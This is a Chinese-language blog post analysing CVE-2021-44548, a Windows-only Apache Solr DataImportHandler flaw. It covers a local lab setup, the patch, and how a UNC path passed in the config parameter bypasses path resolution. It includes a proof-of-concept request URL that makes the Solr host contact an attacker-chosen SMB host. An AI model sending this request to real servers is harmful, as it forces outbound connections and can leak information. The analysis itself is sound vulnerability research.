记一次失败的CVE-2021-44548分析
w4nder 技术文章 4482浏览 · 2022-01-04 06:31

前言

之前在zsxq看到有师傅发solr的洞:CVE-2021-44548,今天看了一下,但是好像危害不大,不过还是以学习为主看一波

描述:
Apache Solr 的 DataImportHandler 中的一个不正确的输入验证漏洞允许攻击者提供 Windows UNC 路径,导致从 Solr 主机向网络上的另一台主机进行 SMB 网络调用。

https://solr.apache.org/security.html#cve-2021-44548-apache-solr-information-disclosure-vulnerability-through-dataimporthandler

https://issues.apache.org/jira/browse/SOLR-15826

影响版本

version < 8.11.1(windows)

环境搭建

下载solr-8.11.0

然后bin目录下

./solr.cmd start -p 8983 -f -a "-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8988 "

然后这里需要创建一个SolrCore(需要命令行创建!)

./solr.cmd create_core -c core1

然后在solr-8.11.0\dist目录中

wget https://mirror.shileizcc.com/Solr/mysql-connector-java-5.1.42-bin.jar
wget https://mirror.shileizcc.com/Solr/solr-dataimporthandler-7.3.1.jar
wget https://mirror.shileizcc.com/Solr/solr-dataimporthandler-extras-7.3.1.jar

solr-8.11.0\server\solr\core1\conf\solrconfig.xml中添加DataImportHandler路由

<requestHandler name="/dataimport" class="org.apache.solr.handler.dataimport.DataImportHandler">
    <lst name="defaults">
      <str name="config">data-config.xml</str>
    </lst>
 </requestHandler>
 <lib dir="D:\临时\Apache_Solr\solr-8.11.0\dist/" regex="mysql-connector-java-5.1.42-bin.jar" />
 <lib dir="D:\临时\Apache_Solr\solr-8.11.0\contrib/dataimporthandler/lib" regex=".*\.jar" />
 <lib dir="D:\临时\Apache_Solr\solr-8.11.0\contrib/dataimporthandler-extras/lib" regex=".*\.jar" />
 <lib dir="D:\临时\Apache_Solr\solr-8.11.0\dist/" regex="solr-dataimporthandler.*\.jar" />

重启solr即可

漏洞分析

这里补丁判断了resource是否开头为\\

再看一下描述

所以这个漏洞就是通过resource为\\ip,然后solr就回去请求该unc路径造成信息泄露什么的

然后下一步找触发点

在dataimport这里可以看到能加载data-config.xml

点一下reload,看一下请求路由

http://localhost:8983/solr/core1/dataimport?_=1640242938294&command=reload-config&indent=on&wt=json

可以发现处理请求的地方在DataImportHandler#handleRequestBody

其实这个地方根据之前写的solrconfig.xml也能看到

这里发现如果传入的command=show-config并且传入config不为空则有一个openResource操作,且参数可控

跟入solr-core-8.11.0.jar!\org\apache\solr\core\SolrResourceLoader.openResource

这里的342行

this.getInstancePath()得到的路径为D:\Apache_Solr\solr-8.11.0\server\solr\core1

再执行resolve("conf")变成,D:\Apache_Solr\solr-8.11.0\server\solr\core1\conf

再执行resolve(resource)时,这里的WindowsPathType变成了UNC

resolve逻辑判断WindowsPathType是否为绝对路径或UNC路径,是则直接返回参数

所以只要resource以\\开头就能使inConfigDir完全可控,在Files.exists中就会去请求windows的unc路径,这里用dnslog代替了

本来想试一下能不能任意文件读,但是这里会处理..然后判断开头是否为SolrCore的路径,所以只能读SolrCore下的文件,要么就开启-Dsolr.allow.unsafe.resourceloading=true

http://localhost:8983/solr/core1/dataimport?command=show-config&config=\\xxx\xxx

太菜了不知道怎么扩大危害

0 条评论
某人
表情
可输入 255
目录